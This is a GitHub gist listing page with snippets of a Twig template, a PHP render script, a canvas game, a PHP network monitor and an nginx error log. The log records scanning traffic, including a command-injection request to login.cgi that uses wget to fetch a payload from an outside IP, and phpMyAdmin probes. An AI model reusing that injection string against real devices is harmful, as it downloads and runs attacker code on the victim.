Skip to content

Instantly share code, notes, and snippets.

@Esmala
Esmala / base.html.twig
Created September 8, 2018 15:02
base template
<!doctype html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="assets/css/bootstrap.css" crossorigin="anonymous">
{% for link in navigation %}
<li class="nav-item active">
<a class="nav-link" href="#">{{ link }} <span class="sr-only">(current)</span></a>
</li>
{% endfor %}
<?php
require_once 'vendor/autoload.php';
$loader = new Twig_Loader_Filesystem('templates');
$twig = new Twig_Environment($loader);
echo $twig->render('index.html.twig', array('navigation' => array('link_href' => 'about.html', 'link' => 'About')));
?>
<?php
require_once 'vendor/autoload.php';
$loader = new Twig_Loader_Filesystem('templates');
$twig = new Twig_Environment($loader);
echo $twig->render('index.html.twig', array('navigation' => array('link_href' => 'about.html', 'link' => 'About')));
?>
2018/06/17 14:36:34 [error] 558#558: *37 open() "/opt/www/login.cgi" failed (2: No such file or directory), client: 180.241.103.70, server: , request: "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%2$
2018/06/17 14:59:45 [error] 558#558: *42 "/opt/www/phpmyadmin/index.php" is not found (2: No such file or directory), client: 188.166.62.12, server: , request: "HEAD http://78.47.206.29:80/phpmyadmin/ HTTP/1.1", host: "$
2018/06/17 14:59:45 [error] 558#558: *42 "/opt/www/PMA/index.php" is not found (2: No such file or directory), client: 188.166.62.12, server: , request: "HEAD http://78.47.206.29:80/PMA/ HTTP/1.1", host: "78.47.206.29"
2018/06/17 14:59:45 [error] 558#558: *42 "/opt/www/dbadmin/index.php" is not found (2: No such file or directory), client: 188.166.62.12, server: , request: "HEAD http://78.47.206.29:80/dbadmin/ HTTP/1.1", host: "78.47.$
2018/06/17 14:59:45 [error] 558#558: *42 "/opt/www/pma/index.php" is not found (2: No such file or directory), client: 188.166.62.12, server:
@Esmala
Esmala / index.html
Last active July 30, 2017 13:17
Shep's simplistic city building game
<!DOCTYPE html>
<html>
<body>
<center>
<canvas id="myCanvas" width="1000" height="1000" style="border:1px solid #d3d3d3;">
Your browser does not support the HTML5 canvas tag.</canvas>
<script>
var c = document.getElementById("myCanvas")
var ctx = c.getContext("2d");
@Esmala
Esmala / index.php
Created June 10, 2017 11:25
Network Status Monitor (Convert colour indications in image to percentages) for www.elisaip.net/utilization.shtml
<?php
//Analyze the .png file
function NetworkUtilization($x, $y) {
$imageFile = file_get_contents("http://www.elisaip.net/pics/intbone.png");
$image = imagecreatefromstring($imageFile);
$rgb = imagecolorat($image,$x,$y);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;
$color = $r.$g.$b;